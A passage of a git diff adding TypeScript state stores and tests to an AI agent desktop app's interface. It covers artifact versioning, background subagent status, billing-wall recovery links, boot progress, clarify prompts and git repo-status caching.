+  detection: ArtifactDetection,
+  content: string
+): UpsertResult | null {
+  const id = sessionId?.trim()
+  const trimmed = content.trim()
+
+  if (!id || !trimmed) {
+    return null
+  }
+
+  const slug = artifactSlug(detection)
+  const hash = artifactContentHash(trimmed)
+  const registry = $artifactRegistry.get()
+  const records = registry[id] ?? []
+  const existing = records.find(record => record.slug === slug)
+  const now = Date.now()
+
+  if (existing) {
+    const known = existing.versions.some(version => version.hash === hash)
+
+    if (known) {
+      return { artifactId: existing.id, record: existing, versionAdded: false }
+    }
+
+    const versions = [...existing.versions, { content: trimmed, createdAt: now, hash }].slice(
+      -MAX_VERSIONS_PER_ARTIFACT
+    )
+
+    const next: ArtifactRecord = {
+      ...existing,
+      // A regenerated artifact may carry a sharper title (html <title> arrives
+      // late in the stream); prefer the newest non-generic one.
+      title: detection.title || existing.title,
+      updatedAt: now,
+      versions
+    }
+
+    $artifactRegistry.set(
+      pruneRegistry({
+        ...registry,
+        [id]: records.map(record => (record.id === existing.id ? next : record))
+      })
+    )
+
+    return { artifactId: existing.id, record: next, versionAdded: true }
+  }
+
+  const record: ArtifactRecord = {
+    createdAt: now,
+    id: `${id}:${slug}`,
+    kind: detection.kind,
+    language: detection.language,
+    sessionId: id,
+    slug,
+    title: detection.title,
+    updatedAt: now,
+    versions: [{ content: trimmed, createdAt: now, hash }]
+  }
+
+  $artifactRegistry.set(pruneRegistry({ ...registry, [id]: [...records, record] }))
+
+  return { artifactId: record.id, record, versionAdded: true }
+}
+
+/** A rail tab for an artifact references the registry by id rather than
+ *  carrying content, so an open tab follows the artifact as it gains versions. */
+export function artifactPreviewTarget(record: ArtifactRecord): PreviewTarget {
+  return { kind: 'artifact', label: record.title, source: record.id, url: record.id }
+}
+
+/** Open an artifact in the right rail at `versionIndex` (default: newest).
+ *  User-initiated only (card click) — never called from streaming, per the
+ *  no-hijack rule. */
+export function openArtifact(artifactId: string, versionIndex?: number) {
+  const record = getArtifact(artifactId)
+
+  if (!record) {
+    return
+  }
+
+  selectArtifactVersion(artifactId, versionIndex ?? record.versions.length - 1)
+  openPreview(artifactPreviewTarget(record))
+}
+
+export function selectArtifactVersion(artifactId: string, versionIndex: number) {
+  const record = getArtifact(artifactId)
+
+  if (!record) {
+    return
+  }
+
+  const clamped = Math.max(0, Math.min(record.versions.length - 1, versionIndex))
+  const selection = $artifactVersionSelection.get()
+
+  if (clamped === record.versions.length - 1) {
+    if (artifactId in selection) {
+      const { [artifactId]: _dropped, ...rest } = selection
+      $artifactVersionSelection.set(rest)
+    }
+
+    return
+  }
+
+  $artifactVersionSelection.set({ ...selection, [artifactId]: clamped })
+}
+
+export function clearArtifactRegistry() {
+  $artifactRegistry.set({})
+  $artifactVersionSelection.set({})
+  closeArtifactPreviewTabs()
+}
diff --git a/ui-desktop/src/store/backdrop.ts b/ui-desktop/src/store/backdrop.ts
new file mode 100644
index 000000000..31b0e2591
--- /dev/null
+++ b/ui-desktop/src/store/backdrop.ts
@@ -0,0 +1,14 @@
+import { atom } from 'nanostores'
+
+import { persistBoolean, storedBoolean } from '@/lib/storage'
+
+const KEY = 'clawcodex.desktop.backdrop.v1'
+
+/** Whether the faint statue image renders behind the chat transcript. */
+export const $backdrop = atom(storedBoolean(KEY, true))
+
+$backdrop.subscribe(on => persistBoolean(KEY, on))
+
+export function setBackdrop(on: boolean) {
+  $backdrop.set(on)
+}
diff --git a/ui-desktop/src/store/background-delegation.test.ts b/ui-desktop/src/store/background-delegation.test.ts
new file mode 100644
index 000000000..cd918c681
--- /dev/null
+++ b/ui-desktop/src/store/background-delegation.test.ts
@@ -0,0 +1,65 @@
+import { beforeEach, describe, expect, it } from 'vitest'
+
+import { $backgroundResume } from './background-delegation'
+import { $activeSessionId, $busy } from './session'
+import { $subagentsBySession, type SubagentProgress, type SubagentStreamEntry } from './subagents'
+
+const sub = (over: Partial<SubagentProgress> = {}): SubagentProgress => ({
+  id: over.id ?? 'deleg:1',
+  parentId: null,
+  goal: 'do the thing',
+  status: 'running',
+  taskCount: 1,
+  taskIndex: 0,
+  startedAt: 0,
+  updatedAt: 0,
+  filesRead: [],
+  filesWritten: [],
+  stream: [],
+  ...over
+})
+
+const stream = (text: string): SubagentStreamEntry => ({ at: 0, kind: 'progress', text })
+
+describe('$backgroundResume', () => {
+  beforeEach(() => {
+    $busy.set(false)
+    $activeSessionId.set('s1')
+    $subagentsBySession.set({})
+  })
+
+  it('counts running/queued children for the active session while idle', () => {
+    $subagentsBySession.set({ s1: [sub({ id: 'a' }), sub({ id: 'b', status: 'queued' })] })
+    expect($backgroundResume.get()?.count).toBe(2)
+  })
+
+  it('surfaces the primary child latest stream line as live activity', () => {
+    $subagentsBySession.set({ s1: [sub({ id: 'a', stream: [stream('Searching the web…')] })] })
+    expect($backgroundResume.get()?.activity).toBe('Searching the web…')
+  })
+
+  it('activity is null when no stream line has arrived (UI uses generic copy)', () => {
+    $subagentsBySession.set({ s1: [sub({ id: 'a' })] })
+    expect($backgroundResume.get()?.activity).toBeNull()
+  })
+
+  it('is null while a turn is busy (the turn owns the main loader)', () => {
+    $subagentsBySession.set({ s1: [sub({ id: 'a' })] })
+    $busy.set(true)
+    expect($backgroundResume.get()).toBeNull()
+  })
+
+  it('is null when only terminal children or other sessions have work', () => {
+    $subagentsBySession.set({
+      s1: [sub({ id: 'a', status: 'completed' }), sub({ id: 'b', status: 'failed' })],
+      s2: [sub({ id: 'c' })]
+    })
+    expect($backgroundResume.get()).toBeNull()
+  })
+
+  it('is null when there is no active session', () => {
+    $subagentsBySession.set({ s1: [sub({ id: 'a' })] })
+    $activeSessionId.set(null)
+    expect($backgroundResume.get()).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/store/background-delegation.ts b/ui-desktop/src/store/background-delegation.ts
new file mode 100644
index 000000000..72819cb74
--- /dev/null
+++ b/ui-desktop/src/store/background-delegation.ts
@@ -0,0 +1,48 @@
+import { computed } from 'nanostores'
+
+import { $activeSessionId, $busy } from './session'
+import { $subagentsBySession, type SubagentProgress } from './subagents'
+
+export interface BackgroundResume {
+  /** Latest live activity from the primary child (its newest stream line), or
+   *  null when nothing readable has arrived yet — the UI then falls back to the
+   *  generic "will resume" copy. */
+  activity: string | null
+  /** Running/queued background children for the active session. */
+  count: number
+}
+
+const RUNNING = (s: SubagentProgress) => s.status === 'running' || s.status === 'queued'
+
+/**
+ * "Parked" background-delegation signal for the active session.
+ *
+ * A top-level `delegate_task` always runs in the background: the parent turn
+ * ends (`$busy` -> false) while the subagent keeps running, and its result
+ * re-enters the conversation as a fresh turn when it finishes. During that
+ * window the app is genuinely idle but work is still happening elsewhere, so we
+ * surface a calm, shimmering status line (its latest activity, or a generic
+ * "will resume" fallback) instead of a spinner that reads as "stuck."
+ *
+ * Null while `$busy`: an active turn already owns the main loader, and subagents
+ * spawned inside a running turn (synchronous orchestrator children) are part of
+ * that turn, not parked background work the user is waiting on.
+ */
+export const $backgroundResume = computed(
+  [$subagentsBySession, $activeSessionId, $busy],
+  (bySession, sid, busy): BackgroundResume | null => {
+    if (busy || !sid) {
+      return null
+    }
+
+    const running = (bySession[sid] ?? []).filter(RUNNING)
+
+    if (running.length === 0) {
+      return null
+    }
+
+    const activity = (running[0]!.stream.at(-1)?.text ?? '').trim() || null
+
+    return { activity, count: running.length }
+  }
+)
diff --git a/ui-desktop/src/store/billing-block.test.ts b/ui-desktop/src/store/billing-block.test.ts
new file mode 100644
index 000000000..739f0bdb9
--- /dev/null
+++ b/ui-desktop/src/store/billing-block.test.ts
@@ -0,0 +1,86 @@
+import type { BillingBlock } from '@clawcodex/shared'
+import { beforeEach, expect, test, vi } from 'vitest'
+
+vi.mock('@/lib/external-link', () => ({ openExternalLink: vi.fn() }))
+
+import { openExternalLink } from '@/lib/external-link'
+
+import {
+  $billingBlock,
+  $billingSettingsRequest,
+  billingCtaLabel,
+  clearBillingBlock,
+  requestBillingSettings,
+  runBillingRecovery,
+  setBillingBlock
+} from './billing-block'
+
+function makeBlock(overrides: Partial<BillingBlock> = {}): BillingBlock {
+  return {
+    billing_url: 'https://platform.openai.com/settings/organization/billing',
+    is_nous: false,
+    message: 'You are out of credits.',
+    model: 'gpt-5',
+    provider: 'openai',
+    provider_label: 'OpenAI',
+    ...overrides
+  }
+}
+
+beforeEach(() => {
+  $billingBlock.set(null)
+  $billingSettingsRequest.set(0)
+  vi.clearAllMocks()
+})
+
+test('setBillingBlock stores the block against its session', () => {
+  setBillingBlock('s1', makeBlock())
+  expect($billingBlock.get()?.sessionId).toBe('s1')
+  expect($billingBlock.get()?.block.provider).toBe('openai')
+})
+
+test('clearBillingBlock scoped to a session leaves a different session block intact', () => {
+  setBillingBlock('s1', makeBlock())
+  clearBillingBlock('s2')
+  expect($billingBlock.get()).not.toBeNull()
+
+  clearBillingBlock('s1')
+  expect($billingBlock.get()).toBeNull()
+})
+
+test('clearBillingBlock with no arg clears any active block', () => {
+  setBillingBlock('s1', makeBlock())
+  clearBillingBlock()
+  expect($billingBlock.get()).toBeNull()
+})
+
+test('runBillingRecovery routes Nous to in-app Settings, never an external link', () => {
+  runBillingRecovery(makeBlock({ is_nous: true, provider: 'nous', provider_label: 'Nous Portal' }))
+  expect($billingSettingsRequest.get()).toBe(1)
+  expect(openExternalLink).not.toHaveBeenCalled()
+})
+
+test('runBillingRecovery deep-links a third-party provider to its billing page', () => {
+  const block = makeBlock({ billing_url: 'https://openrouter.ai/settings/credits', provider: 'openrouter' })
+  runBillingRecovery(block)
+  expect(openExternalLink).toHaveBeenCalledWith('https://openrouter.ai/settings/credits')
+  expect($billingSettingsRequest.get()).toBe(0)
+})
+
+test('runBillingRecovery falls back to in-app settings when a provider has no URL', () => {
+  runBillingRecovery(makeBlock({ billing_url: null, provider: 'custom' }))
+  expect(openExternalLink).not.toHaveBeenCalled()
+  expect($billingSettingsRequest.get()).toBe(1)
+})
+
+test('requestBillingSettings increments the intent counter', () => {
+  requestBillingSettings()
+  requestBillingSettings()
+  expect($billingSettingsRequest.get()).toBe(2)
+})
+
+test('billingCtaLabel picks the right verb per route', () => {
+  const copy = { addCredits: 'Add credits', openBilling: 'Open billing' }
+  expect(billingCtaLabel(makeBlock({ is_nous: true }), copy)).toBe('Open billing')
+  expect(billingCtaLabel(makeBlock({ is_nous: false }), copy)).toBe('Add credits')
+})
diff --git a/ui-desktop/src/store/billing-block.ts b/ui-desktop/src/store/billing-block.ts
new file mode 100644
index 000000000..d4f995f78
--- /dev/null
+++ b/ui-desktop/src/store/billing-block.ts
@@ -0,0 +1,76 @@
+import type { BillingBlock } from '@clawcodex/shared'
+import { atom } from 'nanostores'
+
+import { openExternalLink } from '@/lib/external-link'
+
+/**
+ * The active inference billing wall, if any. Set from the gateway
+ * `message.complete` / `error` event when a turn fails with
+ * `FailoverReason.billing` (see `agent/billing_links.py`). One global slot: a
+ * credit wall on the active session's provider is the whole app's problem, and
+ * the newest block wins. Cleared when a new turn starts or the user dismisses.
+ */
+export interface ActiveBillingBlock {
+  block: BillingBlock
+  sessionId: string
+  at: number
+}
+
+export const $billingBlock = atom<ActiveBillingBlock | null>(null)
+
+/**
+ * Navigation intent counter. A toast fired outside React (or any surface
+ * without router context) bumps this to ask the shell — which owns
+ * `useNavigate` — to open Settings → Billing in-app. See `contrib/wiring.tsx`.
+ */
+export const $billingSettingsRequest = atom(0)
+
+export function setBillingBlock(sessionId: string, block: BillingBlock): void {
+  $billingBlock.set({ at: Date.now(), block, sessionId })
+}
+
+export function clearBillingBlock(sessionId?: string): void {
+  const current = $billingBlock.get()
+
+  if (!current) {
+    return
+  }
+
+  // A scoped clear (new turn on session X) must not wipe a block raised by a
+  // different session's provider.
+  if (sessionId && current.sessionId !== sessionId) {
+    return
+  }
+
+  $billingBlock.set(null)
+}
+
+export function requestBillingSettings(): void {
+  $billingSettingsRequest.set($billingSettingsRequest.get() + 1)
+}
+
+/**
+ * The single recovery action for a billing wall, shared by the toast and the
+ * in-chat banner so both behave identically: Nous routes to the in-app
+ * Settings → Billing surface; a third-party provider deep-links to its own
+ * billing page (falling back to the in-app surface only if we have no URL).
+ */
+export function runBillingRecovery(block: BillingBlock): void {
+  if (block.is_nous) {
+    requestBillingSettings()
+
+    return
+  }
+
+  if (block.billing_url) {
+    openExternalLink(block.billing_url)
+
+    return
+  }
+
+  requestBillingSettings()
+}
+
+export function billingCtaLabel(block: BillingBlock, copy: { addCredits: string; openBilling: string }): string {
+  return block.is_nous ? copy.openBilling : copy.addCredits
+}
diff --git a/ui-desktop/src/store/boot.ts b/ui-desktop/src/store/boot.ts
new file mode 100644
index 000000000..05ff2acaa
--- /dev/null
+++ b/ui-desktop/src/store/boot.ts
@@ -0,0 +1,95 @@
+import { atom } from 'nanostores'
+
+import type { DesktopBootProgress } from '@/global'
+import { translateNow } from '@/i18n'
+
+export interface DesktopBootState extends DesktopBootProgress {
+  visible: boolean
+}
+
+const INITIAL_BOOT_STATE: DesktopBootState = {
+  error: null,
+  fakeMode: false,
+  message: translateNow('boot.steps.startingClawCodexDesktop'),
+  phase: 'renderer.init',
+  progress: 2,
+  running: true,
+  timestamp: Date.now(),
+  visible: true
+}
+
+export const $desktopBoot = atom<DesktopBootState>(INITIAL_BOOT_STATE)
+
+function clampProgress(value: number) {
+  if (!Number.isFinite(value)) {
+    return 0
+  }
+
+  return Math.max(0, Math.min(100, Math.round(value)))
+}
+
+export function applyDesktopBootProgress(progress: DesktopBootProgress) {
+  const current = $desktopBoot.get()
+  const nextProgress = clampProgress(progress.progress)
+  const mergedProgress = progress.running ? Math.max(current.progress, nextProgress) : nextProgress
+
+  // Don't let a late progress event (error: null) clobber a previously-set
+  // boot failure — failDesktopBoot is terminal for this boot cycle.
+  const error = progress.error ?? (current.running ? null : current.error)
+
+  $desktopBoot.set({
+    ...current,
+    ...progress,
+    error,
+    progress: mergedProgress,
+    visible: progress.running || mergedProgress < 100 || Boolean(error)
+  })
+}
+
+export function setDesktopBootStep(step: {
+  phase: string
+  message: string
+  progress: number
+  running?: boolean
+  fakeMode?: boolean
+  error?: string | null
+}) {
+  const current = $desktopBoot.get()
+  applyDesktopBootProgress({
+    error: step.error ?? null,
+    fakeMode: step.fakeMode ?? current.fakeMode,
+    message: step.message,
+    phase: step.phase,
+    progress: step.progress,
+    running: step.running ?? true,
+    timestamp: Date.now()
+  })
+}
+
+export function completeDesktopBoot(message = translateNow('boot.ready')) {
+  const current = $desktopBoot.get()
+  $desktopBoot.set({
+    ...current,
+    error: null,
+    message,
+    phase: 'renderer.ready',
+    progress: 100,
+    running: false,
+    timestamp: Date.now(),
+    visible: false
+  })
+}
+
+export function failDesktopBoot(message: string) {
+  const current = $desktopBoot.get()
+  $desktopBoot.set({
+    ...current,
+    error: message,
+    message: translateNow('boot.desktopBootFailedWithMessage', message),
+    phase: 'renderer.error',
+    progress: clampProgress(current.progress),
+    running: false,
+    timestamp: Date.now(),
+    visible: true
+  })
+}
diff --git a/ui-desktop/src/store/clarify.test.ts b/ui-desktop/src/store/clarify.test.ts
new file mode 100644
index 000000000..aec413b5b
--- /dev/null
+++ b/ui-desktop/src/store/clarify.test.ts
@@ -0,0 +1,166 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import {
+  $clarifyRequest,
+  $clarifyRequests,
+  type ClarifyRequest,
+  clearClarifyRequest,
+  hasClarifyRequest,
+  normalizeChoices,
+  setClarifyRequest,
+  skipClarifyRequest
+} from './clarify'
+import { $gateway } from './gateway'
+import { $activeSessionId } from './session'
+
+function clarify(sessionId: string | null, requestId: string): ClarifyRequest {
+  return {
+    requestId,
+    question: `question-${requestId}`,
+    choices: null,
+    sessionId
+  }
+}
+
+describe('clarify store', () => {
+  beforeEach(() => {
+    $clarifyRequests.set({})
+    $activeSessionId.set(null)
+  })
+
+  afterEach(() => {
+    $clarifyRequests.set({})
+    $activeSessionId.set(null)
+  })
+
+  it('keeps clarify requests from concurrent sessions independent', () => {
+    setClarifyRequest(clarify('session-a', 'req-a'))
+    setClarifyRequest(clarify('session-b', 'req-b'))
+
+    expect($clarifyRequests.get()['session-a']?.requestId).toBe('req-a')
+    expect($clarifyRequests.get()['session-b']?.requestId).toBe('req-b')
+  })
+
+  it('exposes only the active session via the focus-scoped view', () => {
+    setClarifyRequest(clarify('session-a', 'req-a'))
+    setClarifyRequest(clarify('session-b', 'req-b'))
+
+    $activeSessionId.set('session-a')
+    expect($clarifyRequest.get()?.requestId).toBe('req-a')
+
+    $activeSessionId.set('session-b')
+    expect($clarifyRequest.get()?.requestId).toBe('req-b')
+
+    $activeSessionId.set('session-c')
+    expect($clarifyRequest.get()).toBeNull()
+  })
+
+  it('clears only the targeted session, leaving the other pending', () => {
+    setClarifyRequest(clarify('session-a', 'req-a'))
+    setClarifyRequest(clarify('session-b', 'req-b'))
+
+    clearClarifyRequest('req-a', 'session-a')
+
+    expect($clarifyRequests.get()['session-a']).toBeUndefined()
+    expect($clarifyRequests.get()['session-b']?.requestId).toBe('req-b')
+  })
+
+  it('ignores a stale clear whose request id no longer matches', () => {
+    setClarifyRequest(clarify('session-a', 'req-a2'))
+
+    clearClarifyRequest('req-a1', 'session-a')
+
+    expect($clarifyRequests.get()['session-a']?.requestId).toBe('req-a2')
+  })
+
+  it('clears by request id across sessions when no session hint is given', () => {
+    setClarifyRequest(clarify('session-a', 'shared'))
+    setClarifyRequest(clarify('session-b', 'other'))
+
+    clearClarifyRequest('shared')
+
+    expect($clarifyRequests.get()['session-a']).toBeUndefined()
+    expect($clarifyRequests.get()['session-b']?.requestId).toBe('other')
+  })
+})
+
+describe('skipClarifyRequest', () => {
+  const request = vi.fn(async () => ({ ok: true }))
+
+  beforeEach(() => {
+    $clarifyRequests.set({})
+    request.mockClear()
+    $gateway.set({ request } as unknown as ReturnType<typeof $gateway.get>)
+  })
+
+  afterEach(() => {
+    $clarifyRequests.set({})
+    $gateway.set(null)
+  })
+
+  it('answers the session\u2019s clarify with an empty answer and drops it', async () => {
+    setClarifyRequest(clarify('session-a', 'req-a'))
+    setClarifyRequest(clarify('session-b', 'req-b'))
+
+    await expect(skipClarifyRequest('session-a')).resolves.toBe(true)
+
+    expect(request).toHaveBeenCalledWith('clarify.respond', { request_id: 'req-a', answer: '' })
+    expect(hasClarifyRequest('session-a')).toBe(false)
+    // A background session's question is untouched — only the one being typed
+    // over is skipped.
+    expect(hasClarifyRequest('session-b')).toBe(true)
+  })
+
+  it('is a no-op when the session has no clarify parked', async () => {
+    await expect(skipClarifyRequest('session-a')).resolves.toBe(false)
+    expect(request).not.toHaveBeenCalled()
+  })
+
+  it('still reports the skip when the respond RPC fails', async () => {
+    setClarifyRequest(clarify('session-a', 'req-a'))
+    request.mockRejectedValueOnce(new Error('socket closed'))
+
+    await expect(skipClarifyRequest('session-a')).resolves.toBe(true)
+    expect(hasClarifyRequest('session-a')).toBe(false)
+  })
+})
+
+describe('normalizeChoices', () => {
+  it('returns empty array for null/undefined', () => {
+    expect(normalizeChoices(null)).toEqual([])
+    expect(normalizeChoices(undefined)).toEqual([])
+  })
+
+  it('returns empty array for non-array input', () => {
+    expect(normalizeChoices('hello')).toEqual([])
+    expect(normalizeChoices(42)).toEqual([])
+    expect(normalizeChoices({})).toEqual([])
+  })
+
+  it('filters out non-string items', () => {
+    expect(normalizeChoices(['a', 42, 'b', null, 'c'])).toEqual(['a', 'b', 'c'])
+  })
+
+  it('drops blank and whitespace-only strings', () => {
+    expect(normalizeChoices(['a', '', 'b', '   ', 'c'])).toEqual(['a', 'b', 'c'])
+  })
+
+  it('drops strings with newlines', () => {
+    expect(normalizeChoices(['a', 'b\nc', 'd'])).toEqual(['a', 'd'])
+  })
+
+  it('drops strings over 200 chars', () => {
+    const long = 'x'.repeat(201)
+    const ok = 'y'.repeat(200)
+    expect(normalizeChoices(['a', long, ok])).toEqual(['a', ok])
+  })
+
+  it('drops empty items and keeps valid ones', () => {
+    expect(normalizeChoices(['valid', '  ', '', 'also valid'])).toEqual(['valid', 'also valid'])
+  })
+
+  it('returns empty array when nothing survives', () => {
+    expect(normalizeChoices(['', '  ', null, undefined])).toEqual([])
+    expect(normalizeChoices([])).toEqual([])
+  })
+})
diff --git a/ui-desktop/src/store/clarify.ts b/ui-desktop/src/store/clarify.ts
new file mode 100644
index 000000000..6cdc41eb4
--- /dev/null
+++ b/ui-desktop/src/store/clarify.ts
@@ -0,0 +1,144 @@
+import { atom, computed } from 'nanostores'
+
+import { $gateway } from './gateway'
+import { $activeSessionId } from './session'
+
+export interface ClarifyRequest {
+  requestId: string
+  question: string
+  choices: string[] | null
+  sessionId: string | null
+}
+
+/**
+ * Validate and normalize a choices array.
+ *
+ * Keeps non-blank, newline-free strings of length ≤ 200; drops everything else
+ * and returns an empty array when nothing usable survives — the caller then
+ * falls back to a free-text answer instead of dead buttons.
+ */
+export function normalizeChoices(choices: unknown): string[] {
+  if (!Array.isArray(choices)) {
+    return []
+  }
+
+  return choices.filter(
+    (c): c is string => typeof c === 'string' && c.trim().length > 0 && c.length <= 200 && !c.includes('\n')
+  )
+}
+
+/**
+ * Structured warning for a clarify payload that arrived with choices but had
+ * them all normalized away — keeps the remaining #69122 "no selectable choices"
+ * triggers diagnosable in the field without dead constant fields.
+ */
+export function warnDroppedChoices(source: 'gateway' | 'tool_args', question: string, rawChoices: unknown): void {
+  console.warn('[clarify] choices dropped after normalization', {
+    choices_count: Array.isArray(rawChoices) ? rawChoices.length : 0,
+    question_length: question.length,
+    source
+  })
+}
+
+// Pending clarify requests keyed by the runtime session id that raised them.
+// Storing per-session (instead of one shared slot) lets a *background* session
+// park its clarify request while the user is looking at a different chat, then
+// resolve it once they switch over — without a second concurrent clarify
+// clobbering the first. A request with no session id lands under the empty key.
+const keyFor = (sessionId: string | null | undefined): string => sessionId ?? ''
+
+export const $clarifyRequests = atom<Record<string, ClarifyRequest>>({})
+
+// The clarify request for the currently-viewed session. The inline ClarifyTool
+// only ever mounts inside the active session's transcript, so it reads this
+// focus-scoped view rather than reaching into the whole map.
+export const $clarifyRequest = computed(
+  [$clarifyRequests, $activeSessionId],
+  (requests, activeId) => requests[keyFor(activeId)] ?? null
+)
+
+/** The clarify request for one specific session — the tile counterpart of the
+ *  active-session `$clarifyRequest` view (same map, fixed key). */
+export const sessionClarifyRequest = (sessionId: string | null) =>
+  computed($clarifyRequests, requests => requests[keyFor(sessionId)] ?? null)
+
+export function setClarifyRequest(request: ClarifyRequest): void {
+  $clarifyRequests.set({ ...$clarifyRequests.get(), [keyFor(request.sessionId)]: request })
+}
+
+export function clearClarifyRequest(requestId?: string, sessionId?: string | null): void {
+  const requests = $clarifyRequests.get()
+
+  // Targeted clear when the caller knows the session (the common path from the
+  // inline ClarifyTool answering its own request).
+  if (sessionId !== undefined) {
+    const key = keyFor(sessionId)
+    const current = requests[key]
+
+    if (!current || (requestId && current.requestId !== requestId)) {
+      return
+    }
+
+    const next = { ...requests }
+    delete next[key]
+    $clarifyRequests.set(next)
+
+    return
+  }
+
+  // Fallback with no session hint: drop every entry matching the request id
+  // (or clear all when none is given).
+  const next: Record<string, ClarifyRequest> = {}
+  let changed = false
+
+  for (const [key, value] of Object.entries(requests)) {
+    if (requestId && value.requestId !== requestId) {
+      next[key] = value
+    } else {
+      changed = true
+    }
+  }
+
+  if (changed) {
+    $clarifyRequests.set(next)
+  }
+}
+
+/** Whether `sessionId` has a clarify parked on it right now (imperative read —
+ *  the composer checks this on Enter, not on every render). */
+export const hasClarifyRequest = (sessionId: string | null | undefined): boolean =>
+  Boolean($clarifyRequests.get()[keyFor(sessionId)])
+
+/**
+ * Answer `sessionId`'s pending clarify with an empty answer (a skip) and drop it
+ * locally, resolving to whether there was one to skip.
+ *
+ * The composer uses this when the user types a real message instead of picking
+ * an option: a clarify blocks the agent inside its tool batch, so leaving it
+ * unanswered would park the follow-up until the server-side clarify timeout
+ * (default 5 min) — the message looks sent and nothing happens. Skipping lets
+ * the tool return and the turn carry on with the user's actual words.
+ *
+ * An empty answer is the same thing the card's own Skip button sends, and
+ * `clarify.respond` is `allow_expired`, so racing the timeout is harmless.
+ */
+export async function skipClarifyRequest(sessionId: string | null | undefined): Promise<boolean> {
+  const request = $clarifyRequests.get()[keyFor(sessionId)]
+
+  if (!request) {
+    return false
+  }
+
+  // Clear first: the answer is already decided, and an in-flight RPC must not
+  // leave a live card the user can answer a second time.
+  clearClarifyRequest(request.requestId, request.sessionId)
+
+  try {
+    await $gateway.get()?.request('clarify.respond', { request_id: request.requestId, answer: '' })
+  } catch {
+    // The tool times out on its own; a failed skip must never swallow the
+    // message the user is actually sending.
+  }
+
+  return true
+}
diff --git a/ui-desktop/src/store/coding-status.test.ts b/ui-desktop/src/store/coding-status.test.ts
new file mode 100644
index 000000000..edd586725
--- /dev/null
+++ b/ui-desktop/src/store/coding-status.test.ts
@@ -0,0 +1,287 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClawCodexRepoStatus } from '@/global'
+
+import {
+  $repoStatus,
+  $repoStatusByCwd,
+  $repoStatusLoading,
+  _resetCodingStatusForTests,
+  refreshAllRepoStatuses,
+  refreshRepoStatus,
+  registerRepoStatusCwd,
+  repoChangeKindForPath,
+  repoStatusForCwd
+} from './coding-status'
+import { $currentCwd, $selectedStoredSessionId } from './session'
+
+const sampleStatus: ClawCodexRepoStatus = {
+  branch: 'feature/login',
+  defaultBranch: 'main',
+  detached: false,
+  ahead: 1,
+  behind: 0,
+  staged: 1,
+  unstaged: 2,
+  untracked: 0,
+  conflicted: 0,
+  changed: 3,
+  added: 12,
+  removed: 4,
+  files: []
+}
+
+const otherStatus: ClawCodexRepoStatus = {
+  ...sampleStatus,
+  branch: 'bb/other-worktree',
+  added: 3,
+  removed: 1,
+  changed: 1,
+  staged: 0,
+  unstaged: 1
+}
+
+function stubProbe(impl: (cwd: string) => Promise<ClawCodexRepoStatus | null>) {
+  ;(window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop = { git: { repoStatus: impl } }
+}
+
+describe('refreshRepoStatus', () => {
+  beforeEach(() => {
+    vi.useFakeTimers()
+    _resetCodingStatusForTests()
+    $currentCwd.set('')
+    $selectedStoredSessionId.set(null)
+    // Drain the cwd/session subscribe side-effects the sets above kick off.
+    vi.advanceTimersByTime(200)
+    delete (window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop
+    _resetCodingStatusForTests()
+  })
+
+  afterEach(() => {
+    _resetCodingStatusForTests()
+    vi.clearAllTimers()
+    vi.useRealTimers()
+    delete (window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop
+  })
+
+  it('populates the per-cwd cache and the primary computed for that cwd', async () => {
+    stubProbe(async () => sampleStatus)
+    $currentCwd.set('/repo')
+    await refreshRepoStatus('/repo')
+    expect(repoStatusForCwd('/repo').get()).toEqual(sampleStatus)
+    expect($repoStatus.get()).toEqual(sampleStatus)
+  })
+
+  it('falls back to the active session cwd when none is passed', async () => {
+    const probe = vi.fn(async () => sampleStatus)
+    stubProbe(probe)
+    $currentCwd.set('/active/repo')
+    await refreshRepoStatus()
+    expect(probe).toHaveBeenCalledWith('/active/repo')
+    expect($repoStatus.get()).toEqual(sampleStatus)
+  })
+
+  it('leaves the cache alone (primary reads null) when there is no cwd', async () => {
+    stubProbe(async () => sampleStatus)
+    $currentCwd.set('/repo')
+    await refreshRepoStatus('/repo')
+    expect($repoStatus.get()).toEqual(sampleStatus)
+
+    // Blank target is a no-op: other worktrees' cached truth must stay put.
+    await refreshRepoStatus('   ')
+    expect(repoStatusForCwd('/repo').get()).toEqual(sampleStatus)
+    $currentCwd.set('')
+    expect($repoStatus.get()).toBeNull()
+  })
+
+  it('clears every cached status when the probe is unavailable (remote backend)', async () => {
+    $currentCwd.set('/repo')
+    $repoStatusByCwd.set({ '/repo': sampleStatus, '/other': otherStatus })
+    await refreshRepoStatus('/repo')
+    expect($repoStatusByCwd.get()).toEqual({})
+    expect($repoStatus.get()).toBeNull()
+  })
+
+  it('clears only the failing cwd when the probe throws', async () => {
+    stubProbe(async cwd => {
+      if (cwd === '/bad') {
+        throw new Error('not a repo')
+      }
+
+      return sampleStatus
+    })
+    $currentCwd.set('/bad')
+    $repoStatusByCwd.set({ '/bad': otherStatus, '/good': sampleStatus })
+    await refreshRepoStatus('/bad')
+    expect(repoStatusForCwd('/bad').get()).toBeNull()
+    expect(repoStatusForCwd('/good').get()).toEqual(sampleStatus)
+    expect($repoStatus.get()).toBeNull()
+  })
+
+  it('never publishes an old worktree status onto the primary after the active cwd moves', async () => {
+    let resolveOld!: (status: ClawCodexRepoStatus | null) => void
+    stubProbe(
+      () =>
+        new Promise(resolve => {
+          resolveOld = resolve
+        })
+    )
+
+    // Explicit probe (not the debounced cwd edge) so the hang is fully under
+    // our control — same race window the coding rail used to hit after a
+    // session switch mid-probe.
+    const inflight = refreshRepoStatus('/repo-a')
+    $currentCwd.set('/repo-a')
+    await Promise.resolve()
+
+    $currentCwd.set('/repo-b')
+    expect($repoStatus.get()).toBeNull()
+
+    resolveOld(sampleStatus)
+    await inflight
+
+    // Primary follows the NEW cwd (empty). The old worktree may still cache the
+    // late result under its own key — that's what lets a tile rail paint
+    // instantly — but it must not leak onto the main rail via $repoStatus.
+    expect($repoStatus.get()).toBeNull()
+    expect(repoStatusForCwd('/repo-a').get()).toEqual(sampleStatus)
+  })
+
+  it('keeps independent statuses for two live worktrees', async () => {
+    stubProbe(async cwd => (cwd === '/repo-a' ? sampleStatus : otherStatus))
+    await refreshRepoStatus('/repo-a')
+    await refreshRepoStatus('/repo-b')
+    expect(repoStatusForCwd('/repo-a').get()).toEqual(sampleStatus)
+    expect(repoStatusForCwd('/repo-b').get()).toEqual(otherStatus)
+
